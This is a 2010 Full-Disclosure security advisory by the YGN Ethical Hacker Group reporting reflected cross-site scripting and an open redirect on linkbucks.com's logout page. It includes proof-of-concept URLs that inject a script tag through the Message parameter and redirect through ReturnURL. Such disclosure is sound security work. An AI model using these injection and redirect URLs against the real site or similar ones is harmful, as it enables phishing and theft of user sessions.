Linkbucks.com XSS & URL Redirection Vulnerabilities

[YGN Ethical Hacker Group <lists () yehg net>]

==============================================================================
Linkbucks.com XSS & URL Redirection Vulnerabilities
==============================================================================


1. OVERVIEW

A famous link-based advertising network, linkbucks.com, is currently
vulnerable to
Cross Site Scripting and URL Redirection vulnerabilities


2. SITE SERVICE DESCRIPTION

Linkbucks is the first Internet advertising network to recognize that
the interplay
between websites and web users is the foundation of a successful viral
campaign.
Linkbucks brings web users, websites, and marketers together in a way
that is beneficial to everyone.


3. VULNERABILITY DESCRIPTION

The Default.aspx page at linkbucks.com is vulnerable to Cross Site
Scripting vulnerability
as the Message and ReturnURL parameters are not properly sanitized
after a user's logging out.


4. PROOF-OF-CONCEPT/EXPLOIT

+ Cross Site Scripting (OWASP 2010 Top 10 - A2)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message=";><script>alert(/XSS/)</script>&ReturnURL=/Default.aspx&NoText=true

http://yehg.net/lab/pr0js/advisories/sites/linkbucks.com/xss/linkbucks.com_xss.jpg

+ Unvalidated Redirects and Forwards (OWASP 2010 Top 10 - A10)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message=You%20have%20been%20logged%20out.&ReturnURL=http://www.yehg.net&NoText=true


5. IMPACT

As the linkbucks has hundreds of web users, ad publishers and advertisers,
attackers can exploit these flaws for fun and profit.


6. VENDOR

LinkBucks.com
-http://linkbucks.com


7. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


8. DISCLOSURE TIME-LINE

07-10-2010: vulnerability discovered
07-13-2010: got contact from linksbuck support team via support ticket
"#KHT-97974-227"
07-15-2010: provided vulnerabilities
08-15-2010: vulnerabilities have not been fixed
08-18-2010: vulnerability disclosed


9. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/view.php/[linkbucks.com]_xss,redirect
OWASP Top 10 - http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project


#yehg [08-18-2010]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/